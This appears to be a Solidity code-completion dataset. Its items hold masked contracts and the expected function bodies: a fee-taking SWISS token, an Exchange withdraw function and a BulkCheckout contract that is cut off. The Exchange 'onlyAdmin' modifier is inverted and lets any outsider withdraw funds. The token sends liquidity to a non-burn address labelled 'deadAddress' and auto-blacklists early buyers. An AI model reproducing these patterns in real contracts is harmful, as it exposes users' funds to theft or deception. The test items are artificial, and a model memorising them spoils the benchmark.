automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Swiss Token", "SWISS") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 6; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 6; uint256 _sellDevFee = 2; uint256 _earlySellLiquidityFee = 7; uint256 _earlySellMarketingFee = 8; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn maxWallet = totalSupply * 10 / 1000; // 1% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
contract SWISS is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0x765b11C51B13A5eaADBd3a08D18eb1E45F09b9b4); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 7200 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Swiss Token", "SWISS") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 6; uint256 _buyDevFee = 2; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 6; uint256 _sellDevFee = 2; uint256 _earlySellLiquidityFee = 7; uint256 _earlySellMarketingFee = 8; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn maxWallet = totalSupply * 10 / 1000; // 1% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 1) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 6; sellMarketingFee = 5; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 6; sellMarketingFee = 5; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount);
function _transfer( address from, address to, uint256 amount ) internal override
function _transfer( address from, address to, uint256 amount ) internal override
65791
Exchange
withdraw
contract Exchange { function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } constructor() { owner = msg.sender; locked = false; secure = false; } address public owner; mapping (address => bool) public admins; bool locked; bool secure; event SetOwner(address indexed previousOwner, address indexed newOwner); event Deposit(address token, address user, uint256 amount); event Withdraw(address token, address user, uint256 amount); event Lock(bool lock); modifier onlyOwner { assert(msg.sender == owner); _; } modifier onlyAdmin { require(msg.sender != owner && !admins[msg.sender]); _; } function setOwner(address newOwner) onlyOwner { SetOwner(owner, newOwner); owner = newOwner; } function getOwner() view returns (address out) { return owner; } function setAdmin(address admin, bool isAdmin) onlyOwner { admins[admin] = isAdmin; } function() public payable { Deposit(0, msg.sender, msg.value); } function withdraw(address token, uint256 amount) onlyAdmin returns (bool success) {<FILL_FUNCTION_BODY> } function lock() onlyOwner{ locked = true; Lock(true); } function unlock() onlyOwner{ locked = false; Lock(false); } function secureMode() onlyOwner{ secure = true; } function insecureMode() onlyOwner{ secure = false; } function getBalance(address token) view returns (uint256 balance){ if(token == address(0)){ return this.balance; } else{ return Token(token).balanceOf(this); } } }
contract Exchange { function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } constructor() { owner = msg.sender; locked = false; secure = false; } address public owner; mapping (address => bool) public admins; bool locked; bool secure; event SetOwner(address indexed previousOwner, address indexed newOwner); event Deposit(address token, address user, uint256 amount); event Withdraw(address token, address user, uint256 amount); event Lock(bool lock); modifier onlyOwner { assert(msg.sender == owner); _; } modifier onlyAdmin { require(msg.sender != owner && !admins[msg.sender]); _; } function setOwner(address newOwner) onlyOwner { SetOwner(owner, newOwner); owner = newOwner; } function getOwner() view returns (address out) { return owner; } function setAdmin(address admin, bool isAdmin) onlyOwner { admins[admin] = isAdmin; } function() public payable { Deposit(0, msg.sender, msg.value); } <FILL_FUNCTION> function lock() onlyOwner{ locked = true; Lock(true); } function unlock() onlyOwner{ locked = false; Lock(false); } function secureMode() onlyOwner{ secure = true; } function insecureMode() onlyOwner{ secure = false; } function getBalance(address token) view returns (uint256 balance){ if(token == address(0)){ return this.balance; } else{ return Token(token).balanceOf(this); } } }
require(!locked); if (token == address(0)) { if(msg.sender != owner && secure && (amount > this.balance / 3)){ locked = true; Lock(true); } else{ require(msg.sender.send(amount)); } } else { require(amount <= Token(token).balanceOf(this)); require(Token(token).transfer(msg.sender, amount)); } Withdraw(token, msg.sender, amount); return true;
function withdraw(address token, uint256 amount) onlyAdmin returns (bool success)
function withdraw(address token, uint256 amount) onlyAdmin returns (bool success)
53164
BulkCheckout
withdrawEther
contract BulkCheckout is Ownable, Pausable, ReentrancyGuard { using Address for address payable; using SafeMath for uint256; /** * @notice Placeholder token address for ETH donations. This address is used in various other * projects as a stand-in for ETH */ address constant ETH_TOKEN_PLACHOLDER = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @notice Required parameters for each donation */ struct Donation { address token; // address of the token to donate uint256 amount; // amount of tokens to donate address payable dest; // grant address } /** * @dev Emitted on each donation */ event DonationSent( address indexed token, uint256 indexed amount, address dest, address indexed donor ); /** * @dev Emitted when a token or ETH is withdrawn from the contract */ event TokenWithdrawn(address indexed token, uint256 indexed amount, address indexed dest); /** * @notice Bulk gitcoin grant donations * @dev We assume all token approvals were already executed * @param _donations Array of donation structs */ function donate(Donation[] calldata _donations) external payable nonReentrant whenNotPaused { // We track total ETH donations to ensure msg.value is exactly correct uint256 _ethDonationTotal = 0; for (uint256 i = 0; i < _donations.length; i++) { emit DonationSent(_donations[i].token, _donations[i].amount, _donations[i].dest, msg.sender); if (_donations[i].token != ETH_TOKEN_PLACHOLDER) { // Token donation // This method throws on failure, so there is no return value to check SafeERC20.safeTransferFrom( IERC20(_donations[i].token), msg.sender, _donations[i].dest, _donations[i].amount ); } else { // ETH donation // See comments in Address.sol for why we use sendValue over transer _donations[i].dest.sendValue(_donations[i].amount); _ethDonationTotal = _ethDonationTotal.add(_donations[i].amount); } } // Revert if the wrong amount of ETH was sent require(msg.value == _ethDonationTotal, "BulkCheckout: Too much ETH sent"); } /** * @notice Transfers all tokens of the input adress to the recipient. This is * useful tokens are accidentally sent to this contrasct * @param _tokenAddress address of token to send * @param _dest destination address to send tokens to */ function withdrawToken(address _tokenAddress, address _dest) external onlyOwner { uint256 _balance = IERC20(_tokenAddress).balanceOf(address(this)); emit TokenWithdrawn(_tokenAddress, _balance, _dest); SafeERC20.safeTransfer(IERC20(_tokenAddress), _dest, _balance); } /** * @notice Transfers all Ether to the specified address * @param _dest destination address to send ETH to */ function withdrawEther(address payable _dest) external onlyOwner {<FILL_FUNCTION_BODY> } /** * @notice Pause contract */ function pause() external onlyOwner whenNotPaused { _pause(); } /** * @notice Unpause contract */ function unpause() external onlyOwner whenPaused { _unpause(); } }
contract BulkCheckout is Ownable, Pausable, ReentrancyGuard { using Address for address payable; using SafeMath for uint256; /** * @notice Placeholder token address for ETH donations. This address is used in various other * projects as a stand-in for ETH */ address constant ETH_TOKEN_PLACHOLDER = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @notice Required parameters for each donation */ struct Donation { address token; // address of the token to donate uint256 amount; // amount of tokens to donate address payable dest; // grant address } /** * @dev Emitted on each donation */ event DonationSent( address indexed token, uint256 indexed amount, address dest, address indexed donor ); /** * @dev Emitted when a token or ETH is withdrawn from the contract */ event TokenWithdrawn(address indexed token, uint256 indexed amount, address indexed dest); /** * @notice Bulk gitcoin grant donations * @dev We assume all token approvals were already executed * @param _donations Array of donation structs */ function donate(Donation[] calldata _donations) external payable nonReentrant whenNotPaused { // We track total ETH donations to ensure msg.value is exactly correct uint256 _ethDonationTotal = 0; for (uint256 i = 0; i < _donations.length; i++) { emit DonationSent(_donations[i].token, _donations[i].amount, _donations[i].dest, msg.sender); if (_donations[i].token != ETH_TOKEN_PLACHOLDER) { // Token donation // This method throws on failure, so there is no return value to check SafeERC20.safeTransferFrom( IERC20(_donations[i].token), msg.sender, _donations[i].dest, _donations[i].amount ); } else { // 